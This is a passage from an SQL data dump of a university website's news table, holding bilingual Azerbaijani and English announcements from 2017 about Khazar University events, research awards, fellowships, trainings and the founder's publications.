Jurnalı bu linkdə də oxuya bilərsiniz...','<p>“Xəzər Xəbər” jurnalının 2017 - ci il\r\nmay nömrəsi (362-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3941,2295,'az','Xəzər Universitetində aparılmış tədqiqat “Ən yaxşı tədqiqat işi” seçildi','Xəzər Universiteti Ətraf Mühitin Tədqiqi Mərkəzində universitetin Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasovun apardığı tədqiqat Koreyanın Seul şəhərində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:106%\"\"=\"\">Xəzər Universiteti Ətraf Mühitin Tədqiqi\r\nMərkəzində\r\nuniversitetin Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasovun\r\napardığı tədqiqat Koreyanın Seul şəhərində yerləşən İstixana qazlarının\r\ninventarlaşdırılması və azaldılması üzrə işçi qrupu (<em>Working Group on Inventory and Mitigation on Greenhouse Gases</em>) tətəfindən\r\nən yaxşı tədqiqat kimi\r\nseçilmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:106%\"\"=\"\">Tədqiqat\r\nBakı şəhərində və ətraf ərazilərdə ictimai nəqliyyatın yaxşılaşdırılması yolu\r\nilə istixana qazlarının azaldılması mövzusundadır. (<em>Assessment of Mıtıgatıon Potentıal Through Improvıng Publıc Transport\r\nIn Greater Baku Area, Azerbaıjan</em>).</p>'),(3942,2296,'az','Xəzər Universitetinin əməkdaşının essesi Tanpınara həsr olunmuş topluda yer aldı','Yunus Emre İnstitutunun təşkil etdiyi “Tanpınarı kəşf edirəm” adlı esse yarışmasında Xəzər Universiteti İqtisadiyyat və menecment departamentinin assistenti Aytən Baxışova...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yunus Emre İnstitutunun təşkil etdiyi “Tanpınarı\r\nkəşf edirəm” adlı esse yarışmasında Xəzər Universiteti İqtisadiyyat və menecment\r\ndepartamentinin assistenti Aytən Baxışova iştirak etmiş və sertifikat ilə təltif\r\nolunmuşdur. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd edək ki, Aytən Baxışovanın “Tanpınarı kəşf\r\nedirəm” essesinin yer aldığı “A.H.Tanpınar məmləkətdən dünyaya” adlı esseler toplusu\r\nantologiya şəklində 2017-ci il mayın 1-də nəşr olunmuşdur.&nbsp;</p>'),(3943,2297,'az','“Xəzər Humanitar və Sosial Elmlər Jurnalı”nın işçi heyəti Bakı Dövlət Universitetində oldu','2017-ci il iyunun 22-də Xəzər Universiteti Nəşriyyatının nəşr etdiyi “Xəzər Humanitar və Sosial Elmlər Jurnalı”nın işçi heyətini Bakı Dövlət Universitetində “Tətbiqi və Hesablama...','<p>2017-ci il iyunun 22-də Xəzər Universiteti Nəşriyyatının\r\nnəşr etdiyi “Xəzər Humanitar və Sosial Elmlər Jurnalı”nın işçi heyətini Bakı\r\nDövlət Universitetində “Tətbiqi və Hesablama Riyaziyyat” jurnalının baş\r\nredaktoru akademik Fikrət Əliyev qəbul etdi. İşçi heyət Xəzər Universiteti\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Keyfiyyətin\r\nTəminatı Mərkəzinin direktoru Lyudmila Sotova, &nbsp;“Xəzər Humanitar və Sosial Elmlər Jurnalı”nın\r\nbaş redaktorunun assistenti Xəyalə Məmmədova və Sevda Salayeva ilə təmsil\r\nolunurdu. </p>\r\n<p>Görüşdə jurnallar arasında qarşlıqlı əməkdaşlıq və\r\ninkişaf perspektivləri müzakirə olundu.&nbsp;</p>'),(3944,2298,'en','The competition for the 2018 Weiser Professional Development Fellowships is now open','The Ronald and Eileen Weiser Center for Europe and Eurasia at the University of Michigan invites applications for Weiser...','<p style=\"\" mso-margin-top-alt:auto;text-align:justify\";margin-bottom:auto\"=\"\">The Ronald and Eileen Weiser Center for Europe and Eurasia\r\nat the University of Michigan invites applications for Weiser Professional\r\nDevelopment Awards from faculty and artists at institutions of higher education\r\nin Armenia, Azerbaijan, Belarus, Bosnia and Herzegovina, Georgia, Kaliningrad\r\n(Russia), Kazakhstan, Kosovo, Kyrgyzstan, Macedonia, Moldova, Serbia, Slovak\r\nRepublic, Tajikistan, Turkmenistan, Ukraine, and Uzbekistan.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify\";margin-bottom:auto\"=\"\">Applicants are invited to propose projects in any field of\r\nresearch or teaching with a faculty partner at the University of Michigan. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify\";margin-bottom:auto\"=\"\">Applicants must have excellent oral and written English\r\nlanguage skills, should be actively engaged in teaching and must have a current\r\nappointment to which they intend to return. Junior and mid-level academics are\r\nespecially encouraged to apply. All applicants must have earned a terminal\r\ndegree, either their doctoral diploma or highest professional degree (e.g., M.F.A.)\r\nat the time of application.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify\";margin-bottom:auto\"=\"\">The 2018 awards support short-term research visits for 4\r\nweeks or 3 months to the University of Michigan, Ann Arbor, and include\r\nround-trip airfare, housing, health insurance, and a modest per day. The Weiser\r\nCenter will grant 5-7 awards for travel to Ann Arbor in February-April 2018 or\r\nSeptember-November 2018.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;text-align:justify\";margin-bottom:auto\"=\"\">Selection of 2018 awardees will be made through a\r\ncompetitive review of proposals at the University of Michigan. These awards are\r\nmade possible thanks to a gift from Ambassador Ronald Weiser, U.S. Ambassador\r\nto Slovakia from 2001-04, and his wife, Eileen Lappin Weiser.</p>\r\n<p>The deadline for the\r\ncompetition is <strong>September 15, 2017.</strong></p>\r\n<p>More information: <a href=\"http://en.fulbright.edu.pl/weiser\" target=\"_blank\">http://en.fulbright.edu.pl/weiser</a></p>'),(3945,2299,'az','İnkişaf Mərkəzinin direktoru İrlandiya təşkilatına müsahibə verdi','2017-ci il iyunun 27-də İrlandiyanin “Sparqs” təşkilatı Xəzər Universiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva ilə müsahibənin mətnini yayınlamışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil iyunun 27-də İrlandiyanin “Sparqs” təşkilatı Xəzər\r\nUniversiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva ilə müsahibənin mətnini\r\nyayınlamışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibə ilə bu ilnk vasitəsilə tanış olmaq olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sparqs.ac.uk/announcement-detail.php?page=639\">http://www.sparqs.ac.uk/announcement-detail.php?page=639</a>.&nbsp;</p>'),(3946,2300,'az','Təbii ehtyatların idarə olunması mövzusunda beynəlxalq təlim','2017-ci il iyunun 29-da Xəzər Universitetində Avrasiya Bilik Mərkəzi (ABM), Xəzər Universiteti və Natural Resource Governanceİnstitute-nin təşkilatçılığı ilə Təbii ehtyatların idarə...','<p>2017-ci il iyunun 29-da Xəzər Universitetində\r\nAvrasiya Bilik Mərkəzi (ABM), Xəzər Universiteti və Natural Resource\r\nGovernanceİnstitute-nin təşkilatçılığı ilə Təbii ehtyatların idarə olunması\r\nmövzusunda beynəlxalq təlim öz işinə başladı. Təlimdə Azərbaycan, Ukrayna,\r\nQırğızıstan, Qazaxıstan, Tacikistan və Monqolustandan mütəxəssislər iştirak\r\nedirlər.</p>\r\n<p>İyulun 7-dək davam edəcək beynəlxalq təlimin &nbsp;ilk günü açılış mərasimi ilə başladı. ABM-in\r\ndirektoru, professor İnqilab Əhmədov çıxış edərək, iştirakçıları salamladı və\r\nbudəfəki təlimin nəzəri və təcrübi əhəmiyyətindən danışdı. Həmin gün\r\niştirakçılara kursun ümumi icmalı barədə məlumat verildi, panellərdə “Təbii\r\nxammallara qiymətin ardıcıl olaraq yüksəlməsi prosesinin başa çatması: təsir və\r\nadaptasiya” mövzusu müzakirə olundu və sual-cavab sessiyası keçirildi,\r\nqruplarda təqdimatlar oldu.</p>\r\n<p>Təlimin sonrakı günlərində “Kəşfiyyat, hasilat və\r\nlisenziyaların verilməsində şəffaflıq”, “Ekoloji və sosial məsrəflər”,\r\n“Vergiqoyma icmalı”, “Fiksal modelləşdirmə”, “Suveren fondlar”, “Gəlirlərin\r\nbölüşdürülməsİ”, “Dövlət məsrəfi”, “Özəl sektorun inkişafı”, “Antiböhran\r\nstrategiyası” və digər mözular nəzəri və praktik cəhətdən öyrəniləcək.</p>\r\n<p>Kursda təlimçi kimi ABM-in direktoru İnqilab Əhmədov,\r\ntəlimçiləri Azər Mehdiyev, Fuat Rəsulov, tədqiqatlar üzrə məsul əməkdaşı Fərid\r\nQuliyev, Mərkəzi Asiya və Qafqaz üzrə regional koordinator Qalib Əfəndiyev, Monqolustan\r\nüzrə menecer Dorjdari Namxaycansan iştirak edirlər.</p>\r\n<p>İyulun 6-da kurs işini bitirəcək və bağlanış mərasimi\r\nkeçiriləcək.</p>'),(3947,2301,'az','Professor Hamlet İsaxanlının ilk nəsr əsəri çap olunub','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının elmi və poetik yaradıcılığı ilə yanaşı, onun nəşr edilməmiş hekayə və romanları...','<p>Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının elmi və\r\npoetik yaradıcılığı ilə yanaşı, onun nəşr edilməmiş hekayə və romanları olduğu\r\nda məlumdur (bəzi müsahibələrində buna toxunulub). </p>\r\n<p>“Xəzər Xəbər” jurnalının 2017-ci il may\r\nnömrəsində (nömrə 362) professorun ilk nəsr əsəri – “Musiqili... şöhrət azarı”\r\nadlı hekayəsi dərc olunub. Hekayəni jurnalın elektron versiyasında da oxumaq\r\nolar: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3948,2302,'az','Məqalələr','Məqalələr','<p><br></p>'),(3951,2304,'az','Məqalələr','Məqalələr','<p><a href=\"http://www.khazar.org/files/founder/articles/28-ci%20m%C9%99zunluq%20m%C9%99rasimi%20il%C9%99%20ba%C4%9Fl%C4%B1%20%C3%A7%C4%B1x%C4%B1%C5%9F.pdf\">28-ci məzunluq mərasimi ilə bağlı çıxış</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C3%87al%20a%C5%9F%C4%B1q%2C%20%C3%A7al%20ustad%2C%20%C3%A7almaq%20vaxt%C4%B1d%C4%B1r.doc\">Çal aşıq, çal ustad, çalmaq vaxtıdır</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C3%87%C4%B1x%C4%B1%C5%9F--1Sent%202010.docx\">Çıxış--1Sent 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Conceptions%20of%20Quality%20in%20Education--Journal%20of%20Azerbaijani%20Studies%2C%202010%20part%201.pdf\">Conceptions of Quality in Education--Journal of Azerbaijani Studies, 2010 part 1</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Conceptions%20of%20Quality%20in%20Education--Journal%20of%20Azerbaijani%20Studies%2C%202010%20part2.pdf\">Conceptions of Quality in Education--Journal of Azerbaijani Studies, 2010 part2</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Conceptions%20of%20Quality%20in%20Education--Journal%20of%20Azerbaijani%20Studies%2C%202010%20part3.pdf\">Conceptions of Quality in Education--Journal of Azerbaijani Studies, 2010 part3&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Cuisine%20Conference%20Opening%20Speech--Oct%202010.doc\">Cuisine Conference Opening Speech--Oct 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Hamlet%20%C4%B0saxanl%C4%B1%20%C5%9Feirl%C9%99r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Dekabr%202010.PDF\">Hamlet İsaxanlı şeirlər--Xəzər Xəbər, Dekabr 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r%2C%20Sent%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır, Sent 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Apr%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər Apr 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Dek%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər Dek 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20%C4%B0yun%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər İyun 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20Noy%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər Noy 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20%C4%B0yul%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər, İyul 2010</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%2C%20Okt%202010.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər, Okt 2010&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/t%C9%99rc%C3%BCm%C9%99--Yesenin%20(2).docx\">Tərcümə--Yesenin (2)&nbsp;</a><br></p><p><a href=\"http://www.khazar.org/files/founder/articles/t%C9%99rc%C3%BCm%C9%99--Yesenin.docx\">Tərcümə--Yesenin&nbsp;</a></p>'),(3949,2303,'az','2010','2010',''),(3950,2303,'en','2010','2010',''),(3952,2304,'en','Articles','Articles',''),(3953,2305,'en','Interviews','Interviews',''),(3954,2305,'az','Müsahibələr','Müsahibələr','<div><p><a href=\"http://www.khazar.org/files/founder/interviews/Ayna%20q%C9%99zeti--m%C3%BCsahib%C9%99.docx\">Почему нас нет в рейтингах университетов&nbsp;-- Ayna qəzeti</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/Ayna%20q%C9%99zeti--m%C3%BCsahib%C9%99.docx\"></a><a href=\"http://www.khazar.org/files/founder/interviews/M%C3%BCsahib%C9%99%20--1%20news.az.docx\">В рубрике «Гость сайта» на вопросы читателей отвечает ректор Университета «Хазар» Гамлет Исаханлы. --&nbsp;1 news.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/M%C3%BCsahib%C9%99%20--1%20news.az.docx\"></a><a href=\"http://www.khazar.org/files/founder/interviews/M%C3%BCsahib%C9%99.1news.az.docx\">Интервью 1news.az с ректором университета «Хазар» профессором Гамлетом Исаханлы --&nbsp;1news.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/M%C3%BCsahib%C9%99.1news.az.docx\"></a><a href=\"http://www.khazar.org/files/founder/interviews/musahibe.kaspi.az.docx\">“Təhsil mühitinin saflaşması ən böyük problemlərdən biridir” --&nbsp;kaspi.az</a></p><p><a href=\"http://www.khazar.org/files/founder/interviews/musahibe.kaspi.az.docx\"></a><a href=\"http://www.khazar.org/files/founder/interviews/Vikipediyan%C4%B1n%2010%20illiyi%20m%C3%BCnasib%C9%99ti%20il%C9%99%20%20m%C3%BCsahib%C9%99--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Yanvar%202010.docx\">Vikipediya nədir? Dünən, bu gün və sabaha baxış. Vikipediyanın 10 illiyi münasibətilə Hamlet İsaxanlı ilə müsahibə.--Xəzər Xəbər. Yanvar 2010</a></p></div>'),(3955,2306,'az','Haqqında Yazılanlar','Haqqında Yazılanlar','<p><a href=\"http://www.khazar.org/files/founder/about/Camal_Mustafayev%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda--X%C9%99z%C9%99r%20X%C9%99b%C9%99r--Noy%202010.PDF\">Camal Mustafayev Hamlet İsaxanlı haqqında--Xəzər Xəbər--Noy 2010</a></p><p><a href=\"http://www.khazar.org/files/founder/about/E.Semedli%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda--X%C9%99z%C9%99r%20X%C9%99b%C9%99r%20May%202010.PDF\">Elza&nbsp;Səmədli Hamlet İsaxanlı haqqında--Xəzər Xəbər May 2010</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/%C5%9Eekspird%C9%99n%20Hamlet%C9%99--S%C9%99lah%C9%99ddin%20X%C9%99lilov%20Hamlet%20%C4%B0saxanl%C4%B1%20haqq%C4%B1nda%252c%20Mart%202010_.docx\">Şekspirdən Hamletə--Səlahəddin Xəlilov Hamlet İsaxanlı haqqında, Mart 2010</a></p>'),(3956,2306,'en','Publications about Halmet Isakhanli','Publications about Halmet Isakhanli',''),(3957,2307,'az','Tələbə Elmi Cəmiyyətinin təsis seminarı keçirildi','2017-ci il iyunun 29-da Xəzər Universiteti Coğrafiya və ətraf mühit departamenti Tələbə Elmi Cəmiyyətinin təsis seminarını...','<p>2017-ci il iyunun 29-da Xəzər Universiteti Coğrafiya və ətraf mühit\r\ndepartamenti Tələbə Elmi Cəmiyyətinin təsis seminarını keçirdi.</p>\r\n<p>Seminarda iki tələbə qrupu apardığı elmi işlərin nəticələrini təqdim etdi:</p><p>1.&nbsp;PH metodu ilə havanın keyfiyyətinin müəyyən edilməsi;</p><p>2.&nbsp;Bakı şəhərində nəqliyyat vasitələrindən atmosferə\r\natılan qazların proqnozlaşdırılması.</p>'),(3958,2300,'en','International Training on Natural Resources Management','On June 29, 2017, International Training on Natural Resources Management was launched at Khazar University, organized by the Eurasia Knowledge Center, Khazar University...','<p>On June 29, 2017, International Training on Natural Resource Governance was launched at Khazar University, organized by the Eurasia Knowledge Centre, Khazar University and the Natural Resource Governance Institute. The experts from Azerbaijan, Ukraine, Kyrgyzstan, Kazakhstan, Tajikistan and Mongolia take part in the training.</p><p>The first day of the international training, which will continue until July 7, began with the opening ceremony. Professor Ingilab Ahmadov, Director of Eurasia Knowledge Centre welcomed the participants and spoke about the theoretical and practical importance of the training.</p><p>On the same day, the participants were informed about the general overview of the course, the panel discussions on the \"The end of gradual increase in price for natural raw materials: impact and adaptation\" were conducted, question and answer sessions were held and presentations were made in groups.</p><p>In the following days, the topics on \"Transparency in Exploration, Production and Licensing \", \"Environmental and Social Costs\", \"Taxation Review\", \"Fiscal Modelling\", \"Sovereign Funds\", \"Revenue Sharing\", \"Public Expenditure\", \"Private Sector Development\" , \"Anti-crisis strategy\" and some other issues will be learned from the theoretical and practical points of view.</p><p>Professor Ingilab Ahmadov, Director of Eurasia Knowledge Centre; trainers Azer Mehdiyev, Fuat Rasulov; Farid Guliyev, Research Officer; Galib Afandiyev, Regional Coordinator for Central Asia and Caucasus; Dorjdari Namhayjansan, the manager on Mongolia participated in the training.</p><p>On July 6, the training will end with a closing ceremony.</p>'),(3988,2310,'en','The Presentation of the \"Natural Resource Governance Index-2017\" was held','The Presentation of the \"Natural Resource Governance Index - 2017\" was held on July 3, 2017, in the Marble Hall of Khazar University...','<p>The Presentation of the \"Natural Resource Governance Index - 2017\" was held on July 3, 2017, in the Marble Hall of Khazar University.</p><p>The Presentation, held since June 29, within the frame of International Training ‘Natural Resource Governance’ was attended by its participants, the State Oil Fund of the Republic of Azerbaijan, representatives of embassies of Switzerland and Norway, heads and collaborators of non-governmental organizations.</p><p>At the event, the index of natural resources of 81 oil, gas and mining industries, including Azerbaijan was announced by Natural Resource Govenance Institute, located in New York.</p><p>Galib Afandiyev, NRGI Regional Director for Eurasia, gave a detailed explanation of the index calculation methodology and answered the questions. Vegard G. Stensrud, First Deputy Ambassador of Norway in Azerbaijan; Simone Haeberli, First Deputy Foreign Minister of Switzerland; Dorjdari Namkhayjansan, Plenipotentiary Representative of NRGI in Mongolia and Ingilab Ahmadov, Director of Eurasia Knowledge Centre at Khazar University made presentations on the conditions in their countries.</p><p>The event ended with discussions around the topic.</p>'),(3959,2308,'az','Təbii Resursların İdarə edilməsi İndeksi-2017”-nin təqdimatı keçiriləcək','2017-ci il iyulun 3-ü saat 9.00-dan 13.00-dək Xəzər Universitetinin “Mərmər” zalında “Təbii Resursların...','<p>2017-ci il iyulun 3-ü\r\nsaat 9.00-dan 13.00-dək Xəzər Universitetinin “Mərmər” zalında “Təbii\r\nResursların İdarə edilməsi İndeksi-2017”-nin (<em>Resource Governance Index</em>) təqdimatı keçiriləcək.</p>\r\n<p>Tədbirdə 81 neft, qaz, mədən sənayesi ölkələrinin,\r\no cümlədən, Azərbaycanın vəziyyəti elan ediləcək, müzakirələr aparılacaq.</p>\r\n<p>Tədbirdə Norveç\r\nsəfirinin və İsveçrə səfirinin 1-ci müavinlərinin çıxışı, digər xarici və rəsmi\r\nqurumların nümayəndələrinin iştirakı gözlənilir.</p>\r\n<p>Tədbirdə iştirak\r\netmək istəyənlərin bu e-mail-ə müraciət edərək, qeydiyyatdan keçmələri xahiş\r\nolunur: <a href=\"mailto:nazaket.azimli@eurasia-hub.org\">nazaket.azimli@eurasia-hub.org</a>.</p>\r\n<p>Əlavə məlumatı\r\nbu link vasitəsilə əldə etmək olar:</p>\r\n<p><a href=\"http://eurasiahub.khazar.org/?option=view_statti&amp;id_statti=40&amp;id_cat=2\">http://eurasiahub.khazar.org/?option=view_statti&amp;id_statti=40&amp;id_cat=2</a>. &nbsp;</p>'),(4868,2858,'en','A ceremony dedicated to “Chinese New Year” in AzerTAc','The Azerbaijan State News Agency (AzerTAc) posted news on its official website about a ceremony dedicated to...','<p>The Azerbaijan State News Agency (AzerTAc) posted news on its official website about a ceremony dedicated to “Chinese New Year” which was held jointly by “Dunya” school, affiliated with Khazar University, and Confucius Institute, affiliated with Baku State University, on January 19, 2017.</p><p>A link for full news:</p><p><a href=\"https://azertag.az/xeber/BDU_nezdinde_Konfutsi_Institutu_mekteblilerle_birlikde_CHin_Yeni_iline_hesr_edilen_tedbir_kechirib-1129755\">https://azertag.az/xeber/BDU_nezdinde_Konfutsi_Institutu_mekteblilerle_birlikde_CHin_Yeni-iline_hesr_edilen_tedbir_kechirib-1129755</a>.<br></p>'),(3960,2309,'en','NIZAMI workshop on Internationalization  Khazar University','NIZAMI workshop on Internationalization\r\n\r\nKhazar University','<p>Khazar University staff members participated in the workshop conducted within ERASMUS + NIZAMI project implemented by University of Montpellier as a structural project in the Republic of Azerbaijan. The workshop was devoted to the Internationalization WP of the project, the main aim of which is to increase the international visibility of the Higher Education Institutions in Azerbaijan. Dr. Irada Khalilova, a team member of NIZAMI project, has started the workshop with the small introduction of the project, its history, goals and objectives and achievements. She made a presentation on the accomplishments of NIZAMI project. Professor Hamlet Isaxanli, another team member of the project, talked about achievements of the project and made comments to the priorities developed during Uppsala meeting.</p><p>Raziya Isayeva, team member of the project, started the second part of the workshop by introducing its rules and conditions. The workshop was held by using the learning café method and all participants had a chance to see each other’s contributions. Seven different groups were organized per the 7 priority areas. Each team made a presentation on the results. The two-hour workshop generated good results, some teams presented new ideas, indicators and the measurements. Notes were taken and the report will be developed by the Development Office and sent to the project coordinator.</p>'),(3961,2310,'az','“Təbii Resursların İdarə edilməsi İndeksi-2017”-nin təqdimatı keçirildi','2017-ci il iyulun 3-də Xəzər Universitetinin Mərmər zalında “Təbii Resursların İdarə Edilməsi İndeksi-2017”-nin (Resource Governance Index) təqdimatı keçirildi...','<p>2017-ci il iyulun 3-də Xəzər Universitetinin Mərmər zalında “Təbii Resursların İdarə Edilməsi İndeksi-2017”-nin (Resource Governance Index) təqdimatı keçirildi. Universitetdə iyunun 29-dan etibarən davam edən “Təbii resursların idarə edilməsi” mövzusunda beynəlxalq təlim çərçivəsində keçirilən təqdimatda təlimin dinləyiciləri, Azərbaycan Respublikası Dövlət Neft Fondu, İsveçrə və Norveç səfirliklərinin nümayəndələri, qeyri-hökumət təşkilatlarının rəhbətləri və əməkdaşları iştirak edirdilər.</p><p>Tədbirdə Nyu - York şəhərində yerləşən Təbii Resursların İdarə Edilməsi İnstitutunun (TRİEİ) 81 neft, qaz, mədən sənayesi ölkələrinin, o cümlədən, Azərbaycanın vəziyyəti haqqında hazırladığı təbii resursların indeksi elan edildi.</p><p>TRİEİ-nin Avrasiya üzrə regional direktoru Qalib Əfəndiyev çıxış edərək, indeksin hesablama metodologiyasını ətraflı izah etdi və sualları cavablandırdı. Azərbaycandakı Norveç səfirinin birinci müavini Vegard G. Stensrud, İsveçrə səfirinin birinci müavini Simone Haeberli, TRİEİ-nin Monqolustan üzrə səlahiyyətli nümayəndəsi Dorjdari Namxaycansan və Xəzər Universiteti nəzdində fəaliyyət göstərən Avrasiya Bilik Mərkəzinin direktoru İnqilab Əhmədov öz olkələrindəki vəziyyət haqqında təqdimatla çıxış etdilər.</p><p>Tədbir mövzu ətrafında müzakirələr aparılması ilə başa çatdı.</p>'),(3962,2311,'az','Erasmus Plus “PROMİG” layihəsi koordinatoru ilə görüş keçirildi','2017-ci il iyunun 3-də Xəzər Universitetinin İnkişaf mərkəzində “Universitetdə miqrasiya təhsilinin təşviqi” Erasmus Plus (PROMİG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində layihənin koordinatoru...','<p>2017-ci il iyunun 3-də Xəzər Universitetinin İnkişaf mərkəzində “Universitetdə miqrasiya təhsilinin təşviqi” Erasmus Plus (PROMİG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində layihənin koordinatoru Ivane Cavaxişvili&nbsp;   adına Tbilisi Dövlət Universitetinin koordinatoru Dr.Nino Parsadanişvili və Gürcüstan İctimai İşlər Universitetinin əməkdaşı İrine Bakradze ilə görüş keçirildi. Görüş zamanı layihə çərçivəsində nəzərdə tutlmuş işlər, treninq və seminarların vaxtı və mövzusu geniş müzakirə olunmuş, layihənin Xəzər Universiteti üçün növbəti addımları planlaşdırılmışdır. İnkişaf mərkəzinin direktoru Raziyə İsayeva layihənin ilkin mərhələsi müddətində görülmüş işlərdən və universitet qarşısında duran öhdəliklər haqqında məlumat vermişdir.</p><p>Qonaqlar, həmçinin, Xəzər Universitetinin rektoru Dr. Hassan Niknafsla görüşmüş, layihə haqqında fikir mübadiləsi aparmış və gələcəkdə hər iki Gürcüstan universiteti ilə əməkdaşlığın daha da genişləndirilməsi məsələlərinə toxunmuşlar.</p>'),(3963,2312,'az','Hamlet İsaxanlı məşhur vokalçılara həsr olunmuş tədbirdə çıxış etdi','2017-ci il iyunun 17-də Heydər Əliyev adına Sarayada keçirilən, görkəmli Azərbaycan müğənniləri, vokal sənətinin tanınmış nümayəndələri Fidan və Xuraman Qasımovalara həsr olunmuş təntənəli mərasimdə...','<div>2017-ci il iyunun 17-də Heydər Əliyev adına Sarayada keçirilən, görkəmli Azərbaycan müğənniləri, vokal sənətinin tanınmış nümayəndələri Fidan və Xuraman Qasımovalara həsr olunmuş təntənəli mərasimdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış etdi. O, Azərbaycan vokal sənətinin tarixi və bu tarixdə Qasımova bacılarının yeri haqqında danışdı.</div><div><br></div><div>Bu haqda daha geniş məlumatı bu link vasitəsilə əldə etmək olar: http://kaspiy.az/news.php?id=62645&nbsp;</div>'),(3964,2312,'en','Hamlet Isakhanli made a speech in the event dedicated to the vocalists','On 17 June, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees made a speech in a solemn ceremony...','<div>On 17 June, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees made a speech in a solemn ceremony held at Heydar Aliyev Palace dedicated to the prominent singers of Azerbaijan, including well-known members of vocal art, 